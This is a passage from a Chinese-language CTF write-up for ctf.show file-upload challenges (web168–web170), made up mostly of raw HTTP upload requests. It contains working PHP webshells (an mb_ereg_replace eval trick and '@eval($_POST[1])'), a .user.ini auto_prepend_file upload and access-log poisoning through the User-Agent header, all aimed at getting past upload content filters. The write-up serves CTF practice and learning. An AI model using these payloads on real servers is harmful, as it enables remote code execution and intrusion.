可以直接上传 php 文件,但对文件内容有检测,提示为基础免杀。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /upload.php HTTP/1.1
Host: c86888bb-284f-4f30-a238-d2a7405abb03.challenge.ctf.show
Content-Length: 244
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpn7G0uBuQ6CnzSZ
Origin: http://c86888bb-284f-4f30-a238-d2a7405abb03.challenge.ctf.show
Referer: http://c86888bb-284f-4f30-a238-d2a7405abb03.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=18055a59ade621-0332e63e4c56e2-9771539-240000-18055a59adf528; __e_inc=1
Connection: close

------WebKitFormBoundaryLpn7G0uBuQ6CnzSZ
Content-Disposition: form-data; name="file"; filename="GetPic.php"
Content-Type: image/png

<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

------WebKitFormBoundaryLpn7G0uBuQ6CnzSZ--

web169

高级免杀,比上题要严格,检测了 <。这里选择日志包含。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload.php HTTP/1.1
Host: dd62ce6b-02a8-4c81-a746-412b760fdf1e.challenge.ctf.show
Content-Length: 226
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpn7G0uBuQ6CnzSZ
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=18055a59ade621-0332e63e4c56e2-9771539-240000-18055a59adf528; __e_inc=1
Connection: close

------WebKitFormBoundaryLpn7G0uBuQ6CnzSZ
Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file=/var/log/nginx/access.log

------WebKitFormBoundaryLpn7G0uBuQ6CnzSZ--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload.php HTTP/1.1
Host: dd62ce6b-02a8-4c81-a746-412b760fdf1e.challenge.ctf.show
Content-Length: 211
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Window<?php @eval($_POST[1]); ?>s NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpn7G0uBuQ6CnzSZ
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=18055a59ade621-0332e63e4c56e2-9771539-240000-18055a59adf528; __e_inc=1
Connection: close

------WebKitFormBoundaryLpn7G0uBuQ6CnzSZ
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

open the f**king doooooooor!

------WebKitFormBoundaryLpn7G0uBuQ6CnzSZ--

web170

同上题。